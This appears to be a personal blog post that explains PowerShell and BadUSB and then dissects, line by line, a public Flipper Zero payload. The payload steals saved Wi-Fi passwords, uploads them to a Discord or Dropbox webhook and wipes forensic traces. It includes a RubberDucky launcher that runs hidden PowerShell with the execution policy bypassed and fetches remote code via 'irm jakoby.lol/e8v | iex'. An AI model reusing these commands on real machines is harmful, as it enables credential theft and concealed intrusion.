PowerShell and BadUSB

Last updated on November 25th, 2023 at 08:21 pm

Listen, fellas. Don’t fall into the trope of the “manly man”.  You don’t necessarily need to go out and kill a 16-point buck in your free time, or have a hobby that gets you in grease up to your elbows.  You need to have an understanding of how to hunt, how to fix your car, etc., but that doesn’t have to be your main thing.  Being as the world is a huge place, there’s an absolute TON to learn, and there’s no way that one man can learn it all. The whole point of this blog is to catalog what I’m learning as I go, so here’s a pretty neat little topic. One of the things that I’ve begun dabbling in is PowerWhell. So I wanted to throw together a quick post explaining some of it that I’ve been learning (along with a freebie for all of you at the end!)

I have a tech background, and I’d heard about a thing called BadUSB, so I wanted to learn about it.  To understand BadUSB, you need to understand the basics of how PowerShell works.

PowerShell is a powerful scripting language and command-line shell developed by Microsoft. It is designed primarily for system administration and automation of repetitive tasks. Here’s a detailed introduction to PowerShell. PowerShell is a task-based command-line shell and scripting language built on .NET. It helps automate the management of systems and applications. It has a few main purposes and applications.

It can be used for system administration, as it simplifies and automates the administration of Windows operating systems and the applications that run on them. Also, it can be used for task automation, as PowerShell scripts can automate repetitive tasks, saving time and reducing human error. Thirdly, IT professionals often use it for configuration management to ensure the systems are set up and run as intended.

PowerShell has a couple of key features that we have to understand if we want to truly harness it. One key feature is the use of cmdlets. These are specialized .NET classes that implement specific functions, making it easy to execute complex operations. Then, there is the whole idea of scripting itself. As an added bonus, unlike traditional command-line interfaces, PowerShell outputs .NET objects, which can be further manipulated as needed.PowerShell supports scripting, allowing users to write scripts to automate tasks.  If we want to use PowerShell to do more involved tasks, we use pipelines. A pipeline mechanism allows the output of one cmdlet to be used as the input for another, facilitating complex operations.  All of these features really start to take shape when you factor in PowerShell’s ability to remotely manage computers.  This can be used to manipulate and manage multiple computers from a single location.

There are multiple benefits to be found in learning PowerShell. It is extremely efficient, and proper use of it allows you to automate a wide variety of tasks, thus saving you time and effort when working with computers.  It is also an extremely flexible piece of software. It can handle a wide range of tasks, from simple file operations to complex system management, all while providing powerful tools like error handling, logging, and debugging.  There is a huge community around PowerShell too. This community provides a wealth of resources, including scripts, modules, and cmdlets developed by users. This community branches across multiple operating systems. PowerShell was initially developed for Windows, but it is now available on Linux and macOS, offering cross-platform capabilities.

Okay Sam, I get it, but how does this relate to BadUSB??

BadUSB is a security exploit that poses significant risks in the realm of cybersecurity. It is a type of security exploit that targets the firmware of USB devices. It manipulates the firmware to perform malicious actions, which can range from keylogging to data theft. The exploit reprograms the firmware of USB devices (like flash drives, keyboards, etc.), turning them into attack vectors. Since all computers need peripherals like these to operate, you can quickly see where this could become an issue.

It’s important to note that BadUSB is not actually a keyboard or mouse. It is a USB device that masquerades as a different type of device, for example, a keyboard and executes unauthorized commands. So the computer “sees” it as a keyboard, although it isn’t one.  Since the attack is in the firmware, it’s often undetectable by standard antivirus software.

One common use of BadUSB is to automatically execute PowerShell scripts when the USB device is connected to a computer. These scripts can carry out a range of malicious activities. PowerShell’s scripting capabilities can be exploited to automate complex sequences of commands, making the attack more sophisticated and harder to detect.  PowerShell scripts can be designed to bypass security software, leveraging PowerShell’s deep integration with Windows systems. These malicious PowerShell scripts can then be used to gather sensitive data from the infected system and transmit it to an attacker.

As you can probably understand, BadUSB can lead to complete system compromise, allowing attackers to steal data, install malware, or gain unauthorized access. Since the malware resides in the firmware, it can remain undetected and persist even after the device is removed. It’s important to note that any device with a USB port can potentially be targeted, making it a widespread threat.

So how do we prevent these attacks from being performed on us? Well, we should restrict the use of unknown USB devices on our machines.  If some random dude gives you a USB, it might not be the best idea to put that on your computer. Manufacturers are working on ways to secure firmware against unauthorized modifications. Companies like Bitdefender are getting better at detecting malicious PowerShell scripts. In fact, I tried running a couple I ripped from GitHub while writing this article, and it blocked them on my computer!

Still, my curiosity got the best of me, so I disabled my antivirus just to see it run.  Keep in mind that I verified the program before I ran it.  Don’t just run random stuff you find on the internet willy-nilly.  If you don’t understand it, DON’T RUN IT. being that I have a background in these things, I am able to trace what some of the simpler PowerShell scripts do.  As I learn more, I will be able to do more and more. This should be the approach you always take. As it stood, I knew that the script I was going to run 

Let’s examine how it works! Here’s a PowerShell script by a popular ethical hacker who goes by the username I Am Jakoby

We can break this code down chunk by chunk.

First, we have the upload to Discord function…

This allows us to upload the data that we receive to a Discord server through the server’s webhook. After all, it wouldn’t do you any good to pull all the information you need and leave it on the target computer! Thus, we create a PowerShell function that takes in a file and a webhook as parameters.

This PowerShell function, Upload-Discord, is designed to upload a file to a Discord channel using a webhook. Let’s break down each line to understand its functionality:

  1. function Upload-Discord {: This line starts the definition of a function named Upload-Discord. This is very similar to declaring a method name in a traditional C# or Java or Python code block
  2. param($file, $webhook): This line declares the parameters for the function. $file is the file to be uploaded, and $webhook is the URL of the Discord webhook to which the file will be posted.
  3. $boundary = [System.Guid]::NewGuid().ToString(): A unique string boundary is created using a new GUID (Globally Unique Identifier). This boundary is used to separate different parts of the multipart/form-data payload in the HTTP request. We need this unique character string to act as a delimiter between the different parts of the mulitpart/form-data payload. When constructing a multipart/form-data request, which is often used for uploading files, the body of the request can contain multiple different parts. Each part can represent a file or a piece of data with potentially different content types. The boundary is a unique string used to separate these parts. Each part of the request starts with the boundary, followed by the part’s headers and content. This way, the server receiving the request can easily distinguish where each part begins and ends. A GUID (Globally Unique Identifier) is used to ensure that the boundary string does not accidentally match any part of the actual content being sent. If the boundary were to occur within the content of a file or data being transmitted, it could lead to misinterpretation of where parts begin and end, corrupting the data.
  4. $LF = "rn": Defines a variable $LF that contains a carriage return and a newline character. This is used to format the multipart/form-data correctly as well.
  5. $bodyLines = (...): This block creates an array of strings that form the body of the HTTP request. It includes:
  • --$boundary: Starts a new part in the multipart/form-data.
  • Content-Disposition: form-data; name="file"; filename="$($file.Name)": Describes the content disposition of the file, including its field name ("file") and filename.
  • Content-Type: application/octet-stream$LF: Specifies the content type of the file as a binary stream, followed by a line feed.
  • [System.IO.File]::ReadAllBytes($file.FullName): Reads the content of the file and includes it in the request body.
  • --$boundary--$LF: Marks the end of the multipart/form-data.
  1. $body = [System.Text.Encoding]::UTF8.GetBytes($bodyLines -join $LF): Joins the $bodyLines array elements with the line feed $LF to create a single string, and then converts this string to a byte array using UTF-8 encoding.
  2. $headers = @{ "Content-Type" = "multipart/form-data; boundary=$boundary" }: Creates a hashtable for the request headers. It includes a Content-Type header, specifying that the body of the request is multipart/form-data and includes the boundary string.
  3. Invoke-RestMethod -Uri $webhook -Method Post -Headers $headers -ContentType "multipart/form-data" -Body $body: Sends an HTTP POST request to the Discord webhook URL. It uses the headers defined above, specifies the content type, and includes the multipart body.
  4. $file.Delete(): Deletes the file from the local file system after it has been uploaded.

Then, we move on to the Clean-Exfil function

This function will “clean up” the tracks of the attack on the target machine. It would remove all traces of activity on the Windows system. It removes temporary files, empties the Recycle Bin, clears PowerShell command history, and erases the history of the Run dialog. This kind of function can be useful in scenarios where maintaining privacy or cleaning up after a script’s execution is necessary.

  1. function Clean-Exfil {: This line defines the beginning of a function named Clean-Exfil.
  2. $tempPath = [System.IO.Path]::GetTempPath(): This line retrieves the path to the system’s temporary folder and assigns it to the variable $tempPath. The GetTempPath method from the System.IO.Path class is used to get this folder path, which is typically used by applications to store temporary files.
  3. Remove-Item -Path $tempPath* -Force -Recurse: This line deletes all items in the temporary folder.
  • -Path $tempPath* specifies the path to the items to be deleted, which in this case is everything in the temporary folder ($tempPath).
  • -Force allows deletion of read-only files and overrides any restrictions.
  • -Recurse ensures that the deletion is applied recursively to all subfolders and files within the temporary folder. This will make sure that the deletion operation you’re performing will affect not only the specified folder but everything inside it, including subfolders and their contents.
  1. Clear-RecycleBin -Force: This command empties the Recycle Bin on the system.
  • -Force is used to suppress any confirmation prompts, ensuring that the Recycle Bin is emptied without user interaction.
  1. Remove-Item (Get-PSReadlineOption).HistorySavePath: This line deletes the file where PowerShell saves its command history.
  • Get-PSReadlineOption retrieves the options for PSReadline, a module that enhances the command-line editing experience in PowerShell.
  • .HistorySavePath property of the PSReadline options points to the file where the command history is saved.
  • Remove-Item is used to delete this history file.
  1. Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name 'MRUList' -Value '': This command clears the Run dialog’s history in Windows.
  • -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' specifies the registry path where the history of the Run dialog is stored.
  • -Name 'MRUList' indicates the specific registry value to be altered, which maintains a list of the most recently used (MRU) commands.
  • -Value '' sets the value of the MRUList to an empty string, effectively clearing the history.
  1. }: This line marks the end of the Clean-Exfil function.

Next up is the part where we create a list of all the WiFi profiles stored on the computer and create an object variable for each, containing the Name and the Key

This PowerShell code is designed to extract Wi-Fi profiles and their associated keys (passwords) from a Windows system. Let’s break down each line:

  1. $wifiProfiles = netsh wlan show profiles | Select-String -Pattern 'All User Profile' | ForEach-Object { ... }: This line initializes a variable $wifiProfiles and assigns to it the result of a pipeline of commands that extract Wi-Fi profile information.
  • netsh wlan show profiles: This command lists all Wi-Fi profiles stored on the system. These profiles include details of Wi-Fi networks the system has connected to in the past.
  • | Select-String -Pattern 'All User Profile': This pipes the output of the previous command into Select-String, which filters the output to lines containing ‘All User Profile’. This essentially filters the output to only include the names of the Wi-Fi profiles.
  • | ForEach-Object { ... }: For each line of output (representing a Wi-Fi profile), the enclosed script block { ... } is executed.
  1. Inside the ForEach-Object script block:
  • $name = $_ -replace '^\s+All User Profile\s+:\s+', '': This line extracts the Wi-Fi profile name. $_ represents the current line from the input, and -replace is used to remove the leading text and spaces, leaving only the profile name.
  • $key = (netsh wlan show profile name="$name" key=clear | Select-String -Pattern 'Key Content').ToString().Split(':')[1].Trim(): This line fetches the password (key) for the current Wi-Fi profile.
    • netsh wlan show profile name="$name" key=clear: This command displays details of the specified Wi-Fi profile, including the plaintext password (key) if available.
    • | Select-String -Pattern 'Key Content': Filters the output to only include the line that contains the password.
    • .ToString().Split(':')[1].Trim(): Converts the output to a string, splits it at the colon (:), and then trims any spaces from the second part (which is the password).
  • [PSCustomObject]@{ Name = $name; Key = $key }: Creates a custom PowerShell object with two properties: Name (the profile name) and Key (the Wi-Fi password). This object is the output for each Wi-Fi profile processed.

So, now that we’ve covered the line by line, hopefully you can see how this code snippet retrieves the names and passwords of all Wi-Fi profiles stored on a Windows system and stores them in the $wifiProfiles variable as a collection of custom objects. Each object in this collection represents a Wi-Fi profile with its name and corresponding plaintext password.

Then, we call our upload functions using the following code…

This code snippet is part of a PowerShell script that processes Wi-Fi profile information, outputs it to a file, and then performs conditional actions based on certain conditions. Let’s break it down line by line:

  1. $wifiFile = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "--wifi-pass.txt"):
  • This line creates a file path for storing Wi-Fi profile information. It uses the Combine method of the System.IO.Path class to join the system’s temporary directory path (obtained by [System.IO.Path]::GetTempPath()) with the filename "--wifi-pass.txt". The resulting $wifiFile variable contains the full path where the Wi-Fi profile data will be saved.
  1. $wifiProfiles | Format-Table -AutoSize | Out-String | Set-Content -Path $wifiFile:
  • This pipeline takes the Wi-Fi profile data stored in the $wifiProfiles variable, formats it as a table with columns automatically sized (Format-Table -AutoSize), converts the table to a string (Out-String), and then writes this string to the file specified by $wifiFile (Set-Content -Path $wifiFile).
  1. if ($db) { DropBox-Upload -file $wifiFile -token $db }:
  • It’s worth noting that there is also a Dropbox function that is similar to the Discord function. I didn’t include that code in the article, although the gist is the same. The code block above references that function. If the user has assigned a Dropbox URL webhook in their attack string, the file will be sent to that webhook
  1. if ($dc) { Upload-Discord -file $wifiFile -webhook $dc }:
  • Similarly, this if statement checks if the $dc variable (containing the Discord webhook URL) is set. If it is, the Upload-Discord function is called with the parameters -file $wifiFile (the file to upload) and -webhook $dc (the Discord webhook URL). This function would upload the file to the specified Discord channel.
  1. if ($ce) { Clean-Exfil }:
  • This if statement checks if the $ce variable is set. If it is, the Clean-Exfil function is called. This function performs various cleanup actions on the system, like clearing temporary files and erasing command history, as explained in a previous breakdown.

Overall, the snippet takes Wi-Fi profile information, saves it to a temporary file, and then, based on certain conditions (represented by the variables $db, $dc, and $ce), either uploads this file to Dropbox or Discord and/or performs a system cleanup.

It’s important to note that all of the code above is a .ps1 (PowerShell script) that is executed by the following RubberDucky script (which is stored on a BadUSB device like a Flipper Zero). The jakoby.lol/e8v URL is where the .ps1 script above is hosted at.

The explanation for this RubberDucky script is as follows. Remember RubberDucky is basically just executing keyboard button presses at lightning speeds.

  1. GUI r:
  • This command simulates pressing the GUI (Windows key) and the ‘r’ key together. This key combination opens the Run dialog box in Windows.
  1. DELAY 500:
  • This introduces a delay of 500 milliseconds (half a second). Delays are often used in such scripts to allow time for the previous command to execute fully, such as waiting for the Run dialog box to open.
  1. STRING powershell -w h -NoP -Ep Bypass $dc=''; $db=''; irm jakoby.lol/e8v | iex:
  • This line types out a PowerShell command into the Run dialog box. The command is broken down as follows:
    • powershell: Opens PowerShell.
    • -w h: Sets the window style to hidden (h), meaning the PowerShell window will not be visible.
    • -NoP: Short for -NoProfile, this starts PowerShell without loading the user’s profile script.
    • -Ep Bypass: Short for -ExecutionPolicy Bypass, this allows the execution of PowerShell scripts without restrictions.
    • $dc=''; $db='';: These are the Discord and Dropbox variables used to store the webhooks. They are initialized to empty strings.
    • irm jakoby.lol/e8v | iex: Executes the PowerShell command we just broke down earlier. That command is stored as a script at that URL address. irm is short for Invoke-RestMethod, which fetches the content from the URL. Essentially, it’s telling the computer to download and execute the .ps1 script hosted at that URL. The pipe (|) sends this content to iex, short for Invoke-Expression, which executes the downloaded script.
  1. ENTER:
  • This simulates pressing the Enter key, which would run the typed PowerShell command.

Thus, you can see we’re opening a hidden PowerShell window on a target machine, bypassing execution policies, and running a Powershell script hosted at that URL. We run the script hosted at the URL because we can’t write all that PowerShell code directly into the text file we load onto the Flipper Zero.

As you can tell, I’m pretty jazzed about this stuff. It’s neat to geek out every once in a while and learn about the inner workings of different scripts and code. It goes to show us just how vulnerable some of our systems are. Furthermore, as I began to dive into this, I realized just how expansive of a topic it really is! I have no doubt I’m just touching the tip of the iceberg here, and I’ll definitely put out more articles as I continue to learn.

By the way, remember that freebie I was talking about? If you want to start dipping your toes into Powershell, I’ve compiled a little cheat sheet of some of the basic commands that I’m learning. Figured I’d put it out there in case any of you wanted to see it!


Get the PowerShell Cheatsheet!

Please enable JavaScript in your browser to complete this form.
Name

Looking for something?

Latest Articles

Get the newsletter!

Please enable JavaScript in your browser to complete this form.

Latest socials

Follow Me


Leave a Reply

Your email address will not be published. Required fields are marked *